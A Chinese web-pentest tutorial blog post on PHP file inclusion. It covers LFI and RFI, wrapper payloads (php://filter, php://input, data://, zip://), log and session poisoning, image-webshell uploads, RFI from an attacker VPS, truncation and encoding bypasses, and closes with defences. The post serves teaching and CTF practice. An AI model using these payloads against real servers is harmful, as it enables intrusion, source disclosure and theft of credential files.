皮皮宋渗透日记 11|文件包含漏洞全解析:LFI/RFI/ 伪协议 / 绕过 / 防御

张开发
2026/5/12 8:16:55 15 分钟阅读

分享文章

皮皮宋渗透日记 11|文件包含漏洞全解析:LFI/RFI/ 伪协议 / 绕过 / 防御
大家好我是皮皮宋今天聊 Web 渗透里的 “万金油漏洞”——文件包含漏洞它既能读服务器敏感文件又能配合文件上传执行木马还能通过伪协议绕过防护是 CTF 和实战中高频出现的漏洞类型。我从 “基础概念→本地 / 远程包含→伪协议利用→绕过技巧→防御方案” 全拆解全程带实操案例新手也能一步步学会怎么挖、怎么利用一、文件包含漏洞核心一句话讲透和 SQL 注入一样文件包含是代码注入型漏洞本质是开发人员让用户控制 “要包含的文件路径”且未做严格过滤攻击者通过修改路径让服务器执行任意文件本地 / 远程甚至执行恶意代码。1.1 先懂什么是 “文件包含”以 PHP 为例把可复用的代码写在单独文件里用include()/require()调用这个文件就是 “包含”—— 比如include(func.php)直接复用 func.php 里的函数。1.2 漏洞产生的关键用户能控制包含的文件路径比如include($_GET[file])且未过滤../、协议、特殊字符导致攻击者可自定义路径。1.3 PHP 核心包含函数必认函数特点include()找不到文件仅报警告脚本继续执行include_once()与 include 一致但文件只包含一次require()找不到文件报致命错误脚本停止require_once()与 require 一致但文件只包含一次 核心特性这些函数不校验文件后缀哪怕是.jpg/.txt 文件只要里面有 PHP 代码都会被解析执行。1.4 代码演示后缀不影响解析创建phpinfo.php内容用include()调用→正常解析改后缀为phpinfo.txt/phpinfo.jpg再包含→依然解析 PHP 代码若文件内容是普通文本如hello world包含后直接显示文本。✅ 结论只要有文件包含漏洞上传一张 “图片马”jpg 里藏 PHP 木马就能被当作 PHP 文件执行二、本地文件包含LFI读服务器本地文件能打开 / 包含服务器本地文件的漏洞就是 LFI核心是 “构造路径读敏感文件”。2.1 实战演示读系统敏感文件测试代码无过滤?php $file $_GET[file]; include($file); ?1绝对路径读取直接写文件完整路径http://xxx.com/test.php?fileC:\Windows\system.ini Windowshttp://xxx.com/test.php?file/etc/passwd # Linux2相对路径读取用../回退目录跨平台通用当前路径C:\Apache24\htdocs\读C:\windows\system.ini../../windows/system.ini2.2 高频敏感文件路径收藏Windows 系统C:\boot.ini → 查看系统版本C:\windows\repair\sam→ 存储系统初始密码C:\ProgramFiles\mysql\my.ini → MySQL 配置C:\windows\php.ini → PHP 配置Linux/Unix 系统/etc/passwd → 账户信息/etc/shadow→ 账户密码加密/usr/local/app/php5/lib/php.ini→ PHP 配置/etc/httpd/conf/httpd.conf→ Apache 配置三、LFI 漏洞利用技巧实战必学3.1 配合文件上传最常用找不到直接的文件上传漏洞先传 “图片马”再用 LFI 解析步骤DVWA Low 级别为例制作图片马新建shell.jpg内容上传图片马记录存储路径如/upload/shell.jpg构造 LFI URLhttp://xxx.com/fi.php?file../../upload/shell.jpg用蚁剑 / 菜刀连接密码cmd→拿到 webshell。3.2 包含 Apache 日志文件无上传点时用服务器会记录请求日志access.log/error.log攻击者可往日志里写 PHP 代码再包含日志文件执行。利用条件能读取日志文件知道日志存储路径默认/var/log/apache2/access.log。步骤用 Burp 抓包修改请求头 / URL写入 PHP 代码如日志会记录该请求把 PHP 代码写入日志构造 LFIhttp://xxx.com/test.php?file/var/log/apache2/access.log→执行日志里的 PHP 代码。3.3 包含 SESSION 文件利用条件找到 SESSION 里的可控变量知道 SESSION 存储路径phpinfo 里的session.save_path默认/tmp/sess_xxx。核心思路往 SESSION 里写入 PHP 代码→包含 SESSION 文件→执行代码。3.4 包含临时文件条件竞争PHP 上传文件时会生成临时文件Linux/tmp、WindowsC:\windows\temp在临时文件被删除前通过 “时间竞争” 包含它。四、远程文件包含RFI加载远程恶意文件当 PHP 配置allow_url_includeOn、allow_url_fopenOn时include()能加载远程服务器文件就是 RFI。4.1 实战演示加载远程 PHP 文件攻击者 VPS 新建test.php内容构造 RFI URLhttp://xxx.com/test.php?filehttp://你的VPSIP/test.php服务器会加载并执行 VPS 上的test.php→若为木马直接控制服务器。4.2 截断技巧路径后加后缀时用若代码自动给路径加后缀如include($file . .php)可通过截断绕过%00截断PHP5.3.4 可用?filehttp://VPSIP/test.php%00?截断服务器把?后当作参数?filehttp://VPSIP/test.php?。五、PHP 伪协议文件包含的 “万能钥匙”PHP 内置了多种协议可绕过过滤、读取源码、执行代码是文件包含的核心利用手段5.1 file://协议读本地文件不受allow_url_fopen/allow_url_include限制直接读本地文件http://xxx.com/test.php?filefile:///etc/passwd http://xxx.com/test.php?filefile://C:\windows\system.ini​​​​​​​5.2 php://协议核心1php://filter读取 PHP 源码base64 编码直接包含 PHP 文件会执行代码看不到源码→用 base64 编码读取http://xxx.com/test.php?filephp://filter/convert.base64-encode/resourceindex.php拿到 base64 编码后解码即可看到index.php完整源码。2php://input执行 POST 里的 PHP 代码利用条件allow_url_includeOn步骤构造 URLhttp://xxx.com/test.php?filephp://inputBurp 抓包POST 内容写 PHP 代码如发送请求→服务器执行 POST 里的代码直接写入木马。5.3 zip://协议读取压缩包内文件利用条件压缩包为 zip 格式后缀可改如.jpg/.txt用#分割压缩包和内部文件URL 编码为%23需绝对路径。POChttp://xxx.com/test.php?filezip://C:\upload\shell.zip%23shell.phpshell.zip里包含shell.php木马后缀可改为shell.jpg绕过上传过滤5.4 data://协议直接执行 PHP 代码利用条件allow_url_fopenOnallow_url_includeOnPOChttp://xxx.com/test.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2bbase64 解码后是直接执行5.5 伪协议利用条件小结协议allow_url_fopenallow_url_include用途file://任意任意读本地文件php://filter任意任意读源码base64php://input任意On执行 POST 代码zip://任意任意读压缩包内文件data://OnOn执行代码http://OnOn远程文件包含六、文件包含漏洞绕过技巧突破防护网站会过滤../、协议、特殊字符记这 6 个实用绕过方法6.1 URL 编码绕过对../、协议名多次 URL 编码如../→%2e%2e%2f→%252e%252e%252f绕过字符串匹配的 WAF。6.2 特殊字符绕过用 Shell 通配符/etc/passwd→/etc/pass?、/etc/*asswd用?/#截断路径后缀用 Unicode 相似字符全角替代/半角。6.3 %00截断条件magic_quotes_gpcOff PHP5.3.4截断路径后多余字符。6.4 长度截断Windows文件路径最长 259 字节用./././...填满路径截断后续字符Linux文件名最长 255 字节同理构造超长路径。6.5 伪协议绕过用php://filter/zip://替代直接路径绕过 “禁止远程包含”“过滤../”。6.6 协议绕过allow_url_fopen/allow_url_include仅限制http:///ftp://可改用SMB:///WebDav://加载远程文件。七、文件包含漏洞防御从根源杜绝核心思路不让用户控制包含路径 限制包含范围 禁用危险功能输入过滤用str_replace()过滤../、\、伪协议php://、file://等危险字符白名单验证只允许包含指定文件如$allow [func.php,head.php];不在白名单则拒绝限制目录配置open_basedir将 PHP 能打开的文件限制在指定目录如open_basedir /var/www/html/禁用远程包含php.ini 设置allow_url_include Off升级 PHP 版本修复%00截断等老漏洞文件重命名上传的文件随机重命名避免被精准包含固定包含路径尽量不用动态包含如include(head.php)而非include($_GET[file])最小权限运行 PHP 的账号仅赋予必要权限即使被包含也无法读敏感文件。 今天小结文件包含漏洞的核心是 “可控的包含路径 未过滤的输入”新手学习路径先认包含函数和敏感路径练 LFI 读文件、配合上传执行木马掌握php://filter/php://input等伪协议学绕过技巧突破常见防护。它和文件上传、代码执行漏洞联动性极强学会了能解决 80% 的 “拿 shell” 场景

更多文章